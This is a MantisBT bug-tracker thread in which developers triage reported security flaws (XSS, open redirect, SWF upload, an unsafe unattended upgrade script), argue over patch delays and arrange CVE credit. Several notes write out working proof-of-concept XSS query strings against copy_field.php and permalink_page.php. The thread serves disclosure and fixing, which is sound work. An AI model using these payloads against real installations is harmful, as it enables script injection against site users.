Thanks for reporting the bug, we'll take it from here.

And if you don't mind, I'll take on fixing this bunch (as some of these issues I'm already aware of and have some fixes in progress - hence the mail I sent internally on a week and a half ago about possible XSS issues (the patch I supplied for the non-issue was actually the start of part of a set)):

For example, a similar problem to 2 exists with /permalink_page.php?url=javascript%3Aalert%284222%29

There's also a similar issue in the content displayed in one of our manage config pages.

The first issue (somewhat amusingly) - I'm aware of an alternative exploit path of /login_cookie_test.php?return= and been working on a fix for that already.

3 is definitely a new and not something I've already got on my radar - I've wondered before about uploading php files etc, and about virus's in images etc, but never considered flash objects and javascript - Without testing tonight as it's late - I wonder if our use of finfo to work out a mime type in 1.3 helps avoid this, or makes it worse. I suspect neither as iirc without looking at code, it was used to set the mimetype stored in the database as opposed to checking.

For 4 - and yes - equally, I've been trying to use the MANTIS_collapse_settings cookie to do the same via the Token_API

In terms of number 5 - are you sure you meant test_langs.php. In 1.3-master, there's an issue within copy_field.php of doing something similar of:

admin/copy_field.php?source_id=1&dest_id="></a><script>alert()</script><b style="

I've just tried your test_langs example with both my 1.3 code, and what I think is my 1.2.17 instance and not finding an issue with that particular page - Am I missing something here, or have you used the wrong file path in the example.

For 6 - good catch

Summary:
1) grangeway will look at patches for this bunch
2) avlidienbrunn/others: can someone confirm if you number 5 really does mean test_langs.php and tell me what i'm missing
3) I'll leave someone else to work out a write up on this mess later on ;)
4) I plan to also submit a patch to disable the autocomplete html attribute on the password field on the account_page.php and login_page.php for good practice - as I believe that's not set.

To facilitate tracking of the 6 individual issues reported by avlidienbrunn, I propose the following approach, expanding on grangeway's summary:

0) [NEW] create 1 issue for each distinct security problem, and assign them as child of this one

1) grangeway will look at patches for this bunch

Thanks. Please create one commit per patch if possible, and if not at least reference each issue in the commit messages, to facilitate the documentation for CVEs.

2) avlidienbrunn/others: can someone confirm if you number 5 really does mean test_langs.php and tell me what i'm missing

I can't reproduce the issue with test_langs.php. There is no dest_id param in this script - in fact it does not use any parameters at all. I can however confirm the issue with copy_field.php [1]

3) I'll leave someone else to work out a write up on this mess later on ;)

I can take care of requesting CVEs and preparing the security release, provided you give me the required raw information (see [2] for details)

4) I plan to also submit a patch to disable the autocomplete html attribute on the password field on the account_page.php and login_page.php for good practice - as I believe that's not set.

That's not really an urgent security issue requiring immediate fixing, and furthermore unless I'm mistaken the autocomplete attribute is HTML5 only and therefore can't be used in 1.2.x (document type = xhtml1), so I would suggest to create a separate issue with 1.3.x target for this.

[1] http://localhost/mantis/admin/copy_field.php?source_id=1&dest_id=%3Cscript%3Ealert%281%29%3C/script%3E
[2] http://www.mantisbt.org/wiki/doku.php/mantisbt:handling_security_problems#obtaining_a_cve_id f

@grangeway, as a side note, care to have a second look at your comment "Removing the admin folder doesn't really increase security" (0017345:0040567) ? ;-)

Damien - actually, unattended_upgrade.php is a file I've tended to remove and replace with the updated installer in 2.0, so this issue doesn't exist at that point.

And equally in this case, this is us being dumb - you can write dumb code anywhere within mantis if you try - I'd suggest not using a computer as the solution to that one ;)

Lets think about the purpose of upgrade_unattended.php (probably the most serious of the issues in the list)

The purpose is to upgrade an existing installation:

So step 1:

$result = @db_connect( config_get_global( 'dsn', false ), config_get_global( 'hostname' ),
config_get_global( 'db_username' ), config_get_global( 'db_password' ),
config_get_global( 'database_name' ) );

This is safe. If this fails we abort

Step 2:

We ask for query string input

That's just dumb ;)

After step 1, you already have a valid database connection to a valid database for the update, so why throw it away. The "blame" for that logic goes back to giallu/victor in 2007 and Mantis 1.1.0a3.

Personally (and clarifying my first statement about I've tended to gear towards trying to remove that file): We have an install.php - that should really have a silent mode for upgrades (for those that want it) as opposed to have 2 different installation processes.

In terms of supporting the argument regarding the amount of use upgrade_unattended.php receives:

The code for upgrade_unattended actually was broken (i.e. the script working as opposed to the security issue that always existed) on August 9th 2007 by thraxisp with https://github.com/mantisbt/mantisbt/commit/9a600999dbd29d8874013c90082ac5ed817061ca . This means that it stopped working in the following release:

release-1.1.0

Victor added support to fix the script following the August 9th 2007 change on December 29th 2013

In short, the only versions of Mantis that have had valid logic for upgrade_unattended.php have been:

1.1.0rc3 - released 2007-11-23
1.1.0rc2 - release 2007-10-04
1.1.0rc1 - 2007-08-02
1.1.0a4 - 2007-08-01
1.1.0a3 - 2007-05-08

Evidently it's a well used feature :p I would make a list of the versions we've released since 1.1.0rc3 that haven't worked, but it's bedtime unfortunately ;)

side note - whilst I had thought that having a silent upgrade option was important, it does make me wonder the value of actually having said option giving the likihood of breaking it and not noticing ;)

Assigning this to Myself. there'll be a patch for this at some point over weekend + during the following week.

P.S As a warning guys, I've got more time then usual next week - off work for the week, so I need a few things to keep me quiet :)

Paul

Hi! I do mean copy_field.php. Need anything else from me? I'd love to get credited on the CVE if possible too :)

Edit: I also uploaded a PoC SWF file to this issue for demonstration. If you open the link with inline token it'll execute alert(document.domain).

Mathias

That's fine IMO (re credit) - I'm not sure if it's a good thing that I've come across some of the security issues reported or not (arguably it's a bad thing as they should have been fixed - albeit, some of the things I mentioned I spotted a week before you)

In terms of the PoC SWF, shouldn't that work on this bug report? At least, I'm finding it not to work in IE11 on here.

With regards being credited on the CVE, of course you'll be referenced as reporter. Please indicate precisely how you'd like your name to appear (i.e. nickname, full name, e-mail, web site, company...)

Was a CVE ever assigned to this(these) issues? It's fine with "Mathias Karlsson" and a link to http://mathiaskarlsson.me if it's not already made.

For point 1. Unrestricted redirect, CVE-2014-6316 was assigned (see 0017648)

@grangeway, it's been 4 months, where are the patches !!!!!

@dregad gotcha

@dregad - still waiting for victor to add SSH key so I can push private branch. Hopefully he'll get round to it soon.

@grangeway, the answer to your question can be found at:
http://article.gmane.org/gmane.comp.bug-tracking.mantis.devel/5410/

Server access is not needed to address this. There is no plans to host git repositories on the server.

Oh for god's sake, do we delay patching a security fix for 4 MONTHS because we're setting up a gitlab instance?

That's just stupid, sorry. And the kind of thing that makes for bad products and bad reputation amongst our users. I don't have the time to fix this myself, but I have the time to say how unbelievably obtuse this is.<EOM>

[EDIT] dregad - urldecoding grangeway's prose...

Rombert - no - I said originally I had a branch where it would help people to review if they could see history rather then a patch, and said i'd copy it to our mantisbt.org server as soon as Victor added ssh key.

So moved on to next thing whilst waiting on victor, to respond.

In the past we've given all team members to the server - we all used to have access in the past until server changed, and have been asking since then (And getting told since then that it'll be added), so at the time I was expecting it to be a quick job.

Where atrol's suggested in a private note today about using my server and giving you guys access, that approach can be implemented by this weekend.

Paul - sorry, I 'm not sure what you wrote there, it's painful to parse :-)

But the gist is - we're hiding behind process, and that's counterproductive. I for one don't want to get any private access as long as we can attach a git patchset to this bug!

Paul, didn't read that garbled mess you just posted, but regardless your position is untenable and you know it.

Holding security patches hostage to get a server access that Victor repeatedly said he would not grant is just plain ridiculous, and don't even get me started about your mentioning that in communications with users [e.g. 0017725:0041380] !

For the issue at hand, if you fix MantisForge that's fine as I've been requesting that for months (actually, over a year I think) but it's really not necessary:

• git format-patch will generate a series of .patch files (one per commit), thus preservign history of changes
• the patches can easily be applied using git am.

So just generate the files, attach them to the issue(s) (as a zip file if needed) and let's be done with it.

Child issues now exist for each of the 6 points originally reported:

1. 0017648
2. 0017297
3. 0017874
4. 0017875
5. 0017876
6. 0017877

Closed by mistake

Following up on TWSpiders's report of an XSS issue in permalink_page.php (see 0019493), I'm linking it here for the record since it was initially reported by grangeway in note 0017362:0040613.

[...] mail I sent [...] about possible XSS issues [...]

For example, a similar problem to 2 exists with /permalink_page.php?url=javascript%3Aalert%284222%29